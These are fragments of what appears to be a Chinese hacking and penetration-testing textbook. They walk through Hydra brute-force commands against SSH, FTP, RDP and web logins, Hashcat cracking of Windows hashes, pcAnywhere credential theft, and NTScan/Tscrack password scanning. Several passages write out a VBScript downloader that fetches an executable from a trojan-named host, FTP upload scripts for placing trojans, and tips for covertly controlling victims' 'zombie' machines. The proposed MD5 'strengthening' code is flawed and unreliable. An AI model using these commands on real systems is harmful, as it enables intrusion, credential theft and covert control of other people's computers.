    {"text": "除此之外，还可以通过“hydra-wizard.sh”命令进行向导式设置来密码破解，如图2-91所示。 图2-91 使用hydra-wizard.sh进行密码破解 4．安装libssh 如果不安装libssh，运行Hydra破解账号时会出现错误。"},
    {"text": "如图2-92所示，显示错误提示信息“[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!”，在CentOS下运行如下命令即可解决此问题。"},
    {"text": "图2-92 libssh模块缺少错误 yum install cmake wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz tar zxf libssh-0.4.8.tar.gz cd libssh-0.4.8 mkdir build cd build cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON .. make make install cd /test/ssh/hydra-7.6 //此为下载 Hydar 并解压的目录 make clean ./configure make make install 5．Hydra参数详细说明 Hydra命令示例如下。"},
    {"text": "hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] • -l LOGIN：指定破解的用户名称，对特定用户破解。 • -L FILE：从文件中加载用户名进行破解。"},
    {"text": "• service：指定服务名，支持的服务和协议包括Telnet、FTP、POP3[-ntlm]、IMAP[-ntlm]、SMB、SMB NT、http[s]-{head|get}、http-{get|post}-form、http-proxy、Cisco、Cisco-Enable、VNC、LDAP2、LDAP3、MSSQL、MySQL、Oracle-Listener、Postgres、NNTP、Socks5、REXEC、Rlogin、PCNFS、SNMP、RSH、CVS、SVN、ICQ、SAPR3、SSH2、SMTP-Auth[-ntlm]、pcAnywhere、TeamSpeak、SIP、Vmauthd、Firebird、NCP、AFP等。"},
    {"text": "1．破解SSH账号 破解SSH账号有两种方式，一种是指定账号破解，另一种是指定用户列表破解，命令如下。 hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh 例如，输入命令“hydra-l root-P pwd2.dic-t 1-vV-e ns 192.168.44.139 ssh”，对IP地址为192.168.44.139的root账号密码进行破解，如图2-93所示，破解成功后显示其详细信息。 图2-93 破解SSH账号 输入命令“hydra-l root-P pwd2.dic-t 1-vV-e ns-o save.log 192.168.44.139 ssh”，将扫描结果保存在save.log文件中，使用“cat save.log”命令查看扫描结果，如图2-94所示。 图2-94 查看破解日志 2．破解FTP账号 （1）破解指定用户名密码 hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV （2）批量破解FTP账号和密码 hydra -L list_user -P list_password 192.168.56.101 ftp -V 3．GET方式提交，破解Web登录 hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php 4．POST方式提交，破解Web登录 （1）hydra-l用户名-P密码字典-s 80 ip http-post-form \"/admin/login.php:username= ^USER^&password=^PASS^&submit=login:sorry password\" hydra -L list_user -P list_password 192.168.0.115 http-post-form \"member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&in ajax=1:fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes& handlekey=ls:Login failed\" -V 以上示例表示对192.168.0.115进行破解，需要定义登录的URL，以及设置登录验证和错误登录标记。 member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes &inajax=1 fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&han dlekey=ls Login failed （2）对admin密码进行破解 hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.0.115 http-post-form \"login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>\" “-t”表示同时线程数为3；"},
    {"text": "5．破解HTTPS hydra -m /index.php -l muts -P pass.txt 192.168.0.115 https 6．破解teamspeak hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak 7．破解Cisco hydra -P pass.txt 192.168.0.115 cisco hydra -m cloud -P pass.txt 192.168.0.115 cisco-enable 8．破解SMB hydra -l administrator -P pass.txt 192.168.0.115 smb 9．破解POP3 hydra -l muts -P pass.txt my.pop3.mail pop3 10．破解远程终端账号 （1）破解管理员账号 hydra ip rdp -l administrator -P pass.txt -V （2）批量破解账号 hydra -s 3389 192.168.44.138 rdp -L user.txt -P pwd.txt –V 破解效果如图2-95所示。 图2-95 破解3389账号 11．破解HTTP-Proxy hydra -l admin -P pass.txt http-proxy://192.168.0.115 12．破解IMAP hydra -L user.txt -p secret 192.168.0.115 imap PLAIN hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN 参考文章 • http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/ • http://www.aldeid.com/wiki/Thc-hydra#Install_Hydra 2.14 基于MD5算法的改进强加密方法 MD5加密算法是目前网络上用得最为广泛的一种加密算法，很多信息系统及绝大多数网站都采用MD5加密。 通过MD5可以加密一些系统登录时的口令及其他信息，而入侵者通过各种方法只要获得用户名及对应的MD5值，就可以通过暴力破解等方式获取其系统的普通用户甚至管理员的权限。"},
    {"text": "本节将讨论MD5加密算法在应用方面遇到的一些问题，并且针对这种问题在基于MD5算法的基础上改进加密方法，从而MD5加密口令的使用更加安全。"},
    {"text": "在2004年8月17日美国加州圣巴巴拉举行的国际密码学会议（Crypto’2004）上，来自中国山东大学的王小云教授做了破译MD5、HAVAL-128、MD4和RIPEMD算法的报告，公布了MD系列算法的破解结果，MD5破解工程权威网站（http://www. md5crk.com）也因此关闭，从此宣布MD5加密算法不再是一种安全的加密算法。 虽然王小云教授公布了破解MD5算法的报告，宣告该算法不再安全，但是对于企业及普通用户来说，从算法上破解MD5非常困难，因此，MD5仍然算是一种安全的算法。"},
    {"text": "所以，破解MD5没有现成的算法，只能使用穷举法，把可能出现的明文用MD5算法散列之后，将得到的散列值和原始的数据形成一个一对一的映射表，通过在表中对比破解密码的MD5算法散列值，匹配从映射表中找出破解密码所对应的原始明文。 对信息系统或者网站系统来说，MD5算法主要用在用户注册口令的加密上，对于普通强度的口令加密，可以通过以下3种方式进行破解。 • 在线查询密码：一些在线的MD5值查询网站提供MD5密码值的查询，输入MD5密码值后，如果该密码值在数据库中存在，那么可以很快获取其密码值。 • 使用MD5破解工具：网上有许多针对MD5破解的专用软件，通过设置字典进行破解。"},
    {"text": "第一轮进行16次操作，每次操作对a、b、c、d这4个变量中的3个进行一次非线性函数运算，然后将所得结果加上第4个变量（文节中的一个子分组和一个常数），再将所得结果向右环移一个不定的数，并加上a、b、c、d中的一个。"},
    {"text": "F(X,Y,Z)=(X∧Y)∨((X)∧Z) G(X,Y,Z)=(X∧Z)∨(Y∧（Z)) H(X,Y,Z)=X⊕Y⊕Z I(X,Y,Z)=Y⊕(X∨(Z)) 其中，“⊕”是异或，“∧”是与，“∨”是或，“ ”（空格）是反符号。"},
    {"text": "若采用纯强力攻击寻找一个消息具有给定Hash值的计算困难性为2128，用每秒可试验1000000000个消息的计算机需时1.07×1022年。 若采用生日攻击法，寻找有相同Hash值的两个消息需要试验264个消息，用每秒可试验1000000000个消息的计算机需时585年。"},
    {"text": "3．MD5加密算法的应用 MD5加密算法由于具有较好的安全性，加之商业也可以免费使用该算法，因此被广泛使用。 MD5算法主要用在数字签名、文件完整性验证及口令加密等方面。 2.14.3 改进后的加密方法 经过改进，MD5加密算法的破解难度大大提升。 1．目前MD5加密方法利用的缺陷 在目前的信息系统中，对MD5加密方法的利用主要通过在脚本页面中引用包含MD5加密函数代码的文件，以ASP脚本为例，在需要调用的页面中加入“<!--＃include file=\"includes/md5.asp\"-->”语句，md5.asp为MD5加密函数代码文件，然后直接调用函数MD5（sMessage）即可。 经过MD5加密的值有16位和32位之分，如果在MD5加密函数中使用的是“MD5=LCase(WordToHex(a)& WordToHex(b)& WordToHex(c)& WordToHex(d))”，则表示是32位，如果使用的是“MD5=LCase(WordToHex(b)& WordToHex(c))”，则表示是16位。 例如，对明文为“123456”的值进行加密，其MD5值有两个，如下所示。 A=“123456” password=md5(A)=49ba59abbe56e057 password=md5(A)=e10adc3949ba59abbe56e057f20f883e 如果将加密的MD5值直接保存在数据库中，当网站中存在注入或者其他漏洞时，入侵者极有可能获取用户的密码值，通过MD5在线查询或者暴力破解可以得到密码。 2．填充随机数MD5加密 填充随机数MD5加密是在使用MD5加密算法对明文（口令）加密的基础上，对密文进行了改变，在密文中截取一段数据并丢弃，然后使用随机函数填充被丢弃的数据，且整个过程不改变MD5加密后的位数。"},
    {"text": "01 对明文password进行MD5加密，获得密文MD5（password）。 02 使用截取函数截取加密后的密文，从beginnumber位置开始截取number位数的值，得到密码A，其中A=left(md5(password), beginnumber-1)。 03 使用截取函数截取加密后的明文的number位数后的值B，B=right(md5(password), md5-digit-(beginnumber+number-1))。"},
    {"text": "• beginnumber：对原始密码开始截取的位置（0<beginnumber<16或0<beginnumber<32）。 • number：密码截取位数（0<beginnumber<16或0<beginnumber<32）。"},
    {"text": "解密过程与加密过程类似，先对输入的明文进行加密，接着从beginnumber处截取前半部分得到A′，截取后半部分得到B′，然后从数据库中读出密码中的A和B两部分。"},
    {"text": "3．原始值插入自定义值MD5加密 原始值插入指定值是在使用MD5加密算法对明文（口令）加密之前，对原始密码进行了增强，位数增加了1倍，然后使用MD5进行加密，密码位数的增加使MD5暴力破解的时间成本增大，从而大大降低被破解的几率。"},
    {"text": "01 get(password, len(password), mima)：在mima字符串中取与password的位数相等的字符串。 02 jiami(password, mima)：对明文password进行变换，对password中的每一个字符串依次插入从mima字符串中截取的相同位数的字符串，获得加密明文new_password。"},
    {"text": "03 md5(new_password)：使用MD5加密算法对经过增加的明文密码进行加密。 自定义一个40位的由大小写字母、特殊字符和数字组成的字符串mima，获取原始密码的位数，然后于mima进行比较和插入，对明文password进行增强，获得明文new_md5(password)。 例如，“mima=Q!A@Z# $%^& *()_ +123456789WSXEDCRFVTGBYHNUJMIK,OL.P;/['] \\”表示原始密码为123456，通过本方法最后加密的明文密码为“1Q2!3A4@5Z6#”。 整个原始密码通过位数变换，使加密的位数翻倍，虽然最终的密码值还是MD5，但由于无法获取自定义的加密插入字符串“nima”，使得暴力破解MD5密码值的几率大大降低。"},
    {"text": "2.14.4 关键代码与实现 1．填充随机数MD5加密实现代码 填充随机数MD5加密实现代码，示例如下。 <!--#include file=\"md5.asp\"--> <% Function GetRandomizeCode(digit) Randomize Dim m_strRandArray,m_intRandlen,m_strRandomize,i m_strRandArray = Array(0,1,2,3,4,5,6,7,8,9,\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N \",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\") m_intRandlen = digit //定义随机码的长度 for i = 1 to m_intRandlen m_strRandomize = m_strRandomize & m_strRandArray(Int((21*Rnd))) next GetRandomizeCode = lcase(m_strRandomize) End Function Function encrypt_password(beginnumber,number,password,md5_digit) A=left(md5(password),beginnumber-1) B=Right(md5(password),md5_digit-(beginnumber+number-1)) C=GetRandomizeCode(number) D=A&C&B encrypt_password=d End Function %> 实现效果如图2-96所示，需要加密时直接调用encrypt_password函数即可。"},
    {"text": "图2-96 实现效果 2．原始值插入自定义值MD5加密关键代码 用户输入最简单的密码“12345678”，经本算法生成的加密密码为“1Q2!3A4@5Z6#7$8%”，位数由原来的8位增加到16位，示例如下，效果如图2-97所示。 图2-97 通过插入值生成的原始加密值 function new_md5(str) mima=\"Q!A@Z#$%^&*()_+123456789WSXEDCRFVTGBYHNUJMIK,OL.P;/[']\\\" for i=1 to len(str) newstr=newstr&Mid(str,i,1) if i>len(mima) then newstr=newstr&Mid(mima,i-len(mima),1) else newstr=newstr&Mid(mima,i,1) end if next new_md5=newstr end function str2=\"12345678\" response.write str2&\"<br>\" response.write new_md5(str2) &\"<br>\" 本算法通过插入指定字符串，使最终加密原始密码位数翻倍，然后再次调用MD5加密方法，大大降低了暴力破解的可能性。 2.14.5 讨论与小结 有人也曾经提出对MD5加密算法中的函数或者变量进行修改，从而加强原MD5算法的安全，但是这种方法在修改了MD5原函数或者变量后，无法验证修改后的MD5算法在强度上是否与原算法一致。 本节提出的随机数填充加密是在原有MD5加密的基础上，通过对密文截取一定位数的字符串，并使用随机数进行填充，最后得到的密文虽然是经过MD5加密的，但是其值已经大不一样，因此，通过MD5常规破解方法永远不能破解其原始密码值，从而保证了数据的安全。 本节提出的通过增强原始密码的位数和强度后再使用MD5加密的方法，虽然通过MD5可以暴力破解，但由于明文密码位数的增加和自定义插入字符串的引入，也使得暴力破解的几率大大降低。 虽然目前有很多攻击方法，如SQL注入、跨站攻击等，可以较容易地获取数据库中的MD5加密值，但是使用本文提到的方法进行加密，在网站或者系统代码泄露前，其数据是相对安全的，因此具有一定的参考价值。"},
    {"text": "2.15 pcAnywhere账号和口令的破解 通过一些攻击方法和手段取得了远程计算机的控制权后，可以利用其他远程控制软件查找系统中的CIF文件，通过破解CIF文件获取pcAnywhere的账号和密码，进而通过pcAnywhere客户端对远程主机进行完全控制等操作。 pcAnywhere是一款比较流行的远程控制软件，其控制原理与Radmin等远程控制软件类似，需要账号和口令。 不同的用户会根据个人喜好选择不同的远程管理软件，在很多情况下，管理员可能使用某一款远程管理软件管理多台计算机，根据其口令进行猜测或者安装键盘嗅探软件获取口令等信息可以渗透其内网和外网计算机。"},
    {"text": "2.15.1 查看5631端口 pcAnywhere默认的开放端口为5631。 在DOS提示符下输入“sfind-p *.*.*.19”命令查看该IP地址的端口开放情况，结果表明该计算机开放了5631端口，也就是说，该计算机使用pcAnywhere软件作为远程控制软件的服务端，如图2-98所示。 图2-98 查看远程主机是否开放了5631端口 2.15.2 查找pcAnywhere账号和密码文件 通过各种攻击方法和手段成功控制该计算机以后，在其Shell或Telnet中查找pcAnywhere的账号和密码文件。 pcAnywhere的账号和密码保存在一个后缀为“.cif”的文件中，在系统目录中输入命令“dir *.cif/s”，查找系统磁盘中的所有CIF文件。 在本例中找到两个CIF文件，如图2-99所示，第一个文件是保存pcAnywhere账号和密码的文件，第二个是无用文件。 图2-99 查找pcAnywhere的账号和密码文件 2.15.3 破解CIF加密文件 在本例中使用Radmin的文件传输功能将文件传输到本地，然后通过pcAnywherePWD进行破解。 直接运行pcAnywherePWD，在“文件”对话框中选择刚传输回来的CIF文件，单击“破解”按钮，其账号和密码就显示出来了，如图2-100所示。 图2-100 破解pcAnywhere的账号和密码 2.15.4 连接pcAnywhere服务端 pcAnywhere的安装比较简单。 安装完毕后，直接运行pcAnywhere软件，在新建连接向导中输入IP地址“*.*.*.19”，并单击“完成”按钮，双击“*.*.*.19”地址所对应的标签，根据网络情况，很快就会出现pcAnywhere的服务端，要求输入用户名和密码，验证正确后可以进行完全控制等操作。"},
    {"text": "图2-101 连接pcAnywhere服务端 注意 （1）通过pcAnywhere远程控制他人计算机时一定要小心，该远程控制软件在完全控制模式下，其鼠标和屏幕是同步进行的，也就是说，如果用户正在使用远程肉机，那么他会感觉到有人在操作其鼠标和屏幕。 远程控制时速度一定要快，且要选择用户没有使用该计算机（肉机）时进行操作。 （2）拥有远程计算机（肉机）的pcAnywhere账号和口令。"},
    {"text": "oclHashcat号称世界上最快的密码破解工具，是世界上第一个和唯一一个基于GPGPU规则的引擎，提供免费的多GPU（高达128个GPU）、多哈希、多操作系统（Linux和Windows本地二进制文件）、多平台（OpenCL和CUDA支持）、多算法机制，资源利用率低，基于字典攻击，支持分布式破解等。 • oclHashcat for AMD的下载地址：http://hashcat.net/files/oclHashcat-1.31.7z • oclHashcat for NVidia的下载地址：http://hashcat.net/files/cudaHashcat-1.31.7z oclHashcat系列软件在硬件上支持使用CPU、NVIDIAGPU、ATI GPU进行密码破解，在操作系统上支持Windows、Linux平台，并且需要安装官方指定版本的显卡驱动程序，如果驱动程序版本不对，可能导致程序无法运行。"},
    {"text": "可以通过Catalyst自动侦测和下载检测工具来检测系统应该下载那个版本，下载地址为http://support.amd.com/en-us/download/auto-detect-tool。 还可以通过360软件管理直接搜索“Catalyst”，选择合适的版本安装即可。"},
    {"text": "依次单击“开始”→“运行”选项，输入“cmd”并按“Shift+Ctrl+Enter”组合键，输入命令“net user antian365 password/add”，或者以管理员权限启动cmd.exe程序，执行成功后如图2-102所示。"},
    {"text": "目前，官方网站目前已经停止SAMInside软件的开发了，可以到华军软件园下载，地址为http://gwbnsh.onlinedown.net/down2/saminside.v2.6.1.0.chs.rar。"},
    {"text": "2.16.2 获取并整理密码Hash值 01 获取操作系统Hash值 获取Windows 7操作系统的Hash值有多个软件，如WCE、mimikatz、Cain、SAMInside等，在Windows Vista及以上版本中都有UAC权限控制机制。"},
    {"text": "UAC（User Account Control，用户账户控制）是微软为提高系统的安全性在Windows Vista中引入的新技术，它要求用户在执行可能影响计算机运行的操作，或者执行更改影响其他用户的设置的操作之前，提供权限或管理员密码。 通过在这些操作启动前对其进行验证，UAC可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。"},
    {"text": "选择saminside.exe程序，右键单击，在弹出的快捷菜单中选择“以管理员身份运行”选项，然后在SAMInside程序主界面中单击左起第3个图标，在弹出的菜单中选择“Import local user using Scheduler”选项，如图2-103所示，即可获取本机所有账号的密码Hash值等信息。 图2-103 获取密码Hash值 02 整理Hash值 在SAMInside中，既可以导出所有账号的Hash值，也可以复制单个账号的Hash值。"},
    {"text": "单击“File”菜单中的“导出用户到pwdump文件”选项，即可导出获取的Hash值。 也可以选择Hash值，右键单击，在弹出的快捷菜单中依次选择“复制”→“NT Hash”选项，获取NT Hash值。"},
    {"text": "对于Windows Vista及以上版本的操作系统，即使是普通的密码，也是以“AAD3B”开头的一串字符，这个值目前在Ophcrack等工具中无法破解，在SAMInside中会显示为一串“0”字符。"},
    {"text": "图2-104 整理需要破解的Hash值 2.16.3 破解Hash值 将准备好的字典ptemp.txt、需要破解的Hash值文件win2.hash复制到oclHashcat32程序所在的文件夹下，执行以下命令进行破解。 oclHashcat32 -m 1000 -a 0 -o winpass1.txt --remove win2.hash ptemp.txt • “-m 1000”表示破解密码类型为NTLM。"},
    {"text": "论坛密码算法md5(md5($pass). $salt)，破解命令为“oclHashcat32-m 2611-a 0-o winpass1.txt--remove dz. hash ptemp.txt”； Linux SHA-512加密方式，破解命令为“oclHashcat32-m 1800 sha512linux.txt p.txt”； Linux下MD5加密方式，破解命令为“oclHashcat32-m 500 linuxmd5.txt p.txt”。"},
    {"text": "第3章 Web漏洞扫描 Web渗透技术的核心就是发现Web漏洞。 发现Web漏洞有手工和软件自动扫描两种方式。 对于用户验证漏洞、用户凭证管理问题、权限特权及访问控制漏洞、缓存漏洞、跨站脚本漏洞、加密漏洞、路径切换漏洞、代码注入漏洞、配置漏洞、数据和信息泄露、输入验证漏洞、操作系统命令脚本注入、资源管理漏洞、SQL注入等常见漏洞，都可以通过Web扫描器进行扫描。 可以通过Jsky、Acunetix Web Vulnerability Scanner、Safe3等扫描工具获取常见的漏洞信息，再通过手工方式对Web漏洞进行测试和利用。"},
    {"text": "本章介绍了如何对Windows系统账号、3389账号、路由器账号等进行扫描，还介绍了常见的一些Web漏洞扫描工具的利用。 本章主要内容 Windows系统口令扫描及利用 使用HScan扫描及利用漏洞 使用X-Scan扫描漏洞 使用Acunetix Web Vulnerability Scanner扫描及利用网站漏洞 使用Jsky扫描并渗透某管理系统 使用Router Scan扫描路由器密码 3.1 Windows系统口令扫描 口令扫描攻击是网络攻击中最常见的一种攻击方法。"},
    {"text": "入侵者攻击目标时将破译用户的口令作为攻击的开始，只要能猜测或者确定用户的口令，就能获得机器或者网络的部分或全部访问权，并能访问用户能访问的任何资源。 如果这个用户有域管理员或root用户权限，入侵者可以破解域用户口令并实施网络渗透等，安全风险极高。 口令扫描攻击有两种方式：一种是不知道用户名称，采用猜测性暴力攻击； 另外一种是通过各种工具或者手段收集用户信息，利用收集的信息实施攻击。"},
    {"text": "• 利用网络工具获取：可以利用目标主机的Finger命令查询功能获取信息。 当使用Finger命令进行查询时，主机系统会将保存的用户资料（如用户名、登录时间等）显示在终端或计算机上。"},
    {"text": "在Linux/UNIX操作系统中，习惯性地将系统中的用户基本信息存放在passwd文件中，而所有的口令则经过DES加密方法加密后专门存放在一个叫做shadow的文件中。"},
    {"text": "黑客获取口令文件后，就可以使用专门破解DES加密法的程序破解口令。 很多应用软件都有保留账号和口令的功能，其账号和口令常常保存在一个文件中，获取这些文件后，通过单独的口令破解软件完全可以获取用户账号和口令。 • 通过网络监听得到用户口令：这类方法有一定的局限性，但危害性极大。"},
    {"text": "当前，很多协议根本就没有采用任何加密或身份认证技术，如在Telnet、FTP、HTTP、SMTP等传输协议中，用户账户和密码信息都是以明文格式传输的，此时攻击者利用数据包截取工具便可很容易地收集用户的账户和密码。"},
    {"text": "还有一种中途截击攻击方法，它在用户与服务器端完成三次握手并建立连接之后，在通信过程中扮演“第三者”的角色，先假冒服务器身份欺骗用户，再假冒用户向服务器发出恶意请求，造成的后果不堪设想。"},
    {"text": "另外，攻击者有时还会利用软件和硬件工具时刻监视系统主机的工作，等待记录用户登录信息，从而取得用户密码，或者编制含有缓冲区溢出错误的SUID程序以获得超级用户权限。"},
    {"text": "Windows口令扫描攻击主要针对某一个IP地址或者网段进行口令扫描，实质是通过139、445等端口尝试建立连接，利用DOS命令“net use\\\\ipaddress\\admin$ “password”/u:user”，只不过是通过程序实现而已。"},
    {"text": "说明 （1）如果是在肉机上进行口令扫描，由于语言版本的不同，若操作系统不支持相应语言的显示，就有可能显示为乱码，这时只能凭对系统的熟悉程度进行设置。"},
    {"text": "图3-2 NTScan显示乱码 （2）在NTScan中有IPC、SMB和WMI 3种扫描方式，第一种和第三种扫描口令较为有效，第二种主要用来扫描共享文件。"},
    {"text": "SMB（服务器信息块）协议是一种IBM协议，用于在计算机间共享文件、打印机、串口等。 SMB协议可以用在因特网的TCP/IP协议之上，也可以用在其他网络协议，如IPX和NetBEUI之上。"},
    {"text": "例如，用户可以在远程计算机上启动一个进程，设定一个在特定日期和时间运行的进程，远程启动计算机，获得本地或远程计算机的已安装程序列表，查询本地或远程计算机的Windows事件日志等。"},
    {"text": "一般情况下，用户只要拥有该计算机的管理员权限，即可在本地计算机上执行WMI操作，也可以在远程计算机上执行。 如果用户对远程计算机拥有权限并且远程计算机支持远程访问，那么用户就可以连接该远程计算机并执行相应权限的操作。"},
    {"text": "02 执行扫描 在NTScan运行界面中单击“开始”按钮，或者单击左窗口下方的第一个按钮（如果显示为乱码），开始扫描，如图3-3所示。 图3-3 扫描口令 说明 （1）NTScan扫描口令与字典有关，其原理就是使用字典中的口令与实际口令进行对比，如果相同即可建立连接，即破解成功，破解成功后会在下方显示。 （2）NTScan的字典文件为NT_pass.dic，用户文件为NT_user.dic，可以根据实际情况对字典文件和用户文件的内容进行修改。 （3）NTScan扫描结束后，会在NTScan程序的当前目录下生成一个NTScan.txt文件，该文件用于记录扫描结果，如图3-4所示。 图3-4 NTScan扫描记录文件 （4）在NTScan中还有一些辅助功能，如单击右键后可以执行“cmd”命令，单击左键后可以执行“连接”、“打开远程登录”及“映射网络驱动器”等命令，如图3-5所示。 图3-5 NTScan辅助功能 03 实施控制 在DOS命令提示符下输入“net use \\\\221.*.*.*\\admin$ \"mrs6100\"/u:administrator”命令，获取主机的管理员权限。"},
    {"text": "图3-8 查看端口开放情况 06 上传文件 在该DOSShell下执行文件下载命令，将一些工具软件或者木马软件上传到被攻击的计算机中，如图3-9所示。 图3-9 上传文件 07 查看主机基本信息 执行“systeminfo info”命令可查看被入侵计算机的基本信息。"},
    {"text": "echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe echo set aso=.createobject(\"adodb.stream\"):set web=createobject(\"microsoft.xmlhttp\") >>dl.vbe echo web.open \"get\",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbe cscript dl.vbe http://www.mymuma.com/software/systeminfo.exe systeminfo.exe （2）如果不能通过执行VBS脚本上传文件，可以通过执行FTP命令上传文件。"},
    {"text": "echo open 192.168.1.1 >b echo ftp>>b echo ftp>>b echo bin>>b echo get systeminfo.exe >>b echo bye >>b ftp -s:b （3）上传文件时，建议先使用“dir filename”命令查看文件是否存在，上传后再次通过“dir filename”命令查看文件是否上传成功。"},
    {"text": "3.1.2 使用Tscrack扫描3389口令 3389终端攻击主要通过3389破解登录器（Tscrack）实现。 Tscrack是微软远程终端服务（3389）的测试产品，有人将其做了一些修改，可以用来破解3389口令，其核心原理就是利用字典配合远程终端登录器尝试登录，一旦登录成功，则认为破解成功。"},
    {"text": "01 Tscrack初次运行时需要进行安装，直接运行tscrack.exe程序即可。 如果不能正常运行，则需要运行“tscrack-U”命令卸载Tscrack中的组件后再运行tscrack.exe。"},
    {"text": "如果仅仅是对单个IP地址进行破解，其破解命令格式为“tscrack ip-w 100words.txt”，如果是对多个IP地址进行破解，则可以将IP地址整理成一个文件，每一个IP地址占一行，且行尾无空格，将其保存为ip.txt，然后编辑一个批命令，如图3-14所示。 图3-14 编辑破解命令 说明 （1）原程序tscrack.exe可以更改为任意名称。"},
    {"text": "如图3-15所示，在程序破解过程中不要手工进行干涉，让程序自动进行破解。 图3-15 破解口令 06 破解成功，程序自动结束，显示破解的口令和破解所花费的时间，如图3-16所示。 图3-16 破解口令成功 07 使用口令和用户名登录。 运行mstsc.exe打开终端连接器，输入IP地址进行连接，在3389连接界面中输入刚才破解的密码和Administrator用户名，连接成功，如图3-17所示。 图3-17 进入远程终端桌面 说明 （1）Tscrack破解3389终端口令后不会生成log文件，破解的口令显示在DOS窗口中，一旦DOS窗口关闭，所有结果都不会保存。 （2）如果对多个IP地址进行3389终端口令破解，Tscrack程序将对所有IP地址尝试破解后才会停止。 （3）Tscrack破解3389终端口令对应的用户只能是Administrator，对其他用户无能为力。 小结 本案例通过Tscrack程序破解远程终端（3389）的口令。"},
    {"text": "应对3389远程终端口令破解的安全措施是进行IP地址信任连接，或者通过一些软件限制只有某些IP地址才能访问远程终端。 3.1.3 使用Fast RDP Brute暴力破解3389口令 Fast RDP Brute是俄罗斯的Roleg开发的一款暴力破解工具，主要用于扫描远程桌面连接弱口令，官方网站下载地址为http://stascorp.com/load/1-1-0-58，界面如图3-18所示。"},
    {"text": "图3-18 程序主界面 1．设置主要参数 • Max threads：设置扫描线程数，默认值为1000，一般不用修改。 • Scan timeout：设置超时时间，默认值为2000，一般不用修改。 • Thread timeout：设置线程超时时间，默认值为60000，一般不用修改。"},
    {"text": "• Scan ports：设置要扫描的端口，根据实际情况设置，默认值为3389、3390和3391。 在实际扫描过程中，如果是对某个已知IP地址和端口进行扫描，建议删除多余端口。"},
    {"text": "• 用户名和密码：可以在文件夹下的user.txt和pass.txt文件内自行设置。 如图3-19所示，在默认的user.txt文件中包含俄文的管理员，一般不使用，可以根据实际情况进行设置。"},
    {"text": "图3-19 设置暴力破解的用户名和密码字典 2．局域网扫描测试 本次测试采用VMware环境，搭建了两个平台，扫描主机IP地址为192.168.148.128，被扫描主机IP地址为192.168.148.132，操作系统为Windows 2003，开放3389端口。 在该服务器上新建test、antian365用户，并将设置的密码复制到扫描字典中，单击“Start scan”按钮进行扫描，扫描结果如图3-20所示。 图3-20 扫描结果 注意 （1）在192.168.148.132服务器上必须开启3389。 （2）在扫描服务器上执行mstsc命令，输入IP地址192.168.148.132进行3389登录测试，看看能否访问网络。"},
    {"text": "3．总结与思考 • 该软件虽然提供多个用户同时扫描的机制，但只要扫描出一个结果后，就停止扫描。 对于多用户扫描，可以在扫描出结果后，将已经扫描出来的用户删除，再进行扫描，或者针对单用户进行扫描。"},
    {"text": "在网络入侵过程中，对数据库的攻击也是典型的攻击手段之一，加之目前市面上很多安全检测和入侵软件均具有数据库口令扫描功能，所以一旦获取数据库中sa用户的口令，入侵者就可以执行添加用户等危险命令，数据库很容易被入侵者完全控制。 常见的数据库攻击主要有以下几种。 （1）通过互联网直接连接进行攻击 数据库要想正常使用，必须开放1433（1434）或者指定端口。"},
    {"text": "（2）安全漏洞扫描 安全漏洞扫描通常是指针对操作系统、网络应用程序或者数据库系统本身的弱点进行扫描。 攻击者在安全扫描过程中可以很轻松地发现没有使用SQL安全补丁、互联网信息服务（IIS）设置弱点及SNMP（简单网络管理协议）等漏洞并实施攻击，从而攻破数据库。 入侵者在攻击过程中可能使用公开的工具，也可能使用专用工具，还可能利用一些大型公司提供的安全扫描程序，如Qualys的普通扫描工具QualysGuard、SPI Dynamics的网络应用程序扫描工具WebInspect等。"},
    {"text": "Application安全公司的AppDetective和NGS软件公司的NGSSQLCrack等商业性工具软件都有破解sa口令的功能，还有一些扫描工具软件也可以很好地破解sa口令。"},
    {"text": "（5）直接利用安全漏洞攻击 可以利用Metasploit等工具软件直接实施攻击。 Metasploit利用在正常的安全漏洞扫描过程中发现的安全漏洞实施攻击，这种攻击手段非常有效，攻击者还可利用这种手段突破系统、从事代码注入或者取得未经授权的命令行访问权限。 （6）SQL注入攻击 SQL注入攻击是目前网络上最为流行的一种攻击方式，主要通过构建SQL语言脚本实施攻击。 目前网上有很多流行的SQL注入攻击工具，如“教主”的HDSI 3.0、“明小子”的Domain 3.5等。"},
    {"text": "（7）Google hacks Google hacks利用Google搜索引擎不同寻常的力量搜索出可公开访问的系统泄露的SQL服务器错误，如“Incorrect syntax near”，黑客能够使用Google找到口令、网络服务器中的安全漏洞、基本的操作系统、公开提供的程序及其他能够用来攻破SQL服务器系统的东西。"},
